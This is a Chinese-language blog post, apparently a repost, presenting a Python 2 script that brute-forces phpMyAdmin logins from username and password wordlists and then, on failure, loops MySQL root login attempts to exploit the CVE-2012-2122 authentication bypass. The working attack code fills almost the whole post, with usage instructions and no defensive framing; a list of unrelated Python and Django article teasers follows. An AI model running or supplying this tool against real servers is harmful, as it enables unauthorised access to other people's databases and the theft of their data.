Python写的PHPMyAdmin暴力破解工具代码

yipeiwu_com7年前Python基础

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)

相关文章

Python中的groupby分组功能的实例代码

Python中的groupby分组功能的实例代码

pandas中的DataFrame中可以根据某个属性的同一值进行聚合分组,可以选单个属性,也可以选多个属性: 代码示例: import pandas as pd A=pd.DataF...

深入了解Django中间件及其方法

深入了解Django中间件及其方法

前言 我们可以给视图函数加装饰器来判断是用户是否登录,把没有登录的用户请求跳转到登录页面等等。我们通过给几个特定视图函数加装饰器实现了这个需求,但是以后添加的视图函数可能也需要加上装饰器...

Django中使用极验Geetest滑动验证码过程解析

Django中使用极验Geetest滑动验证码过程解析

一,环境部署 1.创建一个django测试项目 二,文档部署 1.下载安装python对应的SDK 使用命令从Github导入完整项目:git clone https://githu...

Python中Iterator迭代器的使用杂谈

迭代器是一种支持next()操作的对象。它包含一组元素,当执行next()操作时,返回其中一个元素;当所有元素都被返回后,生成一个StopIteration异常。 >>&...

PyTorch之图像和Tensor填充的实例

在PyTorch中可以对图像和Tensor进行填充,如常量值填充,镜像填充和复制填充等。在图像预处理阶段设置图像边界填充的方式如下: import vision.torchvisio...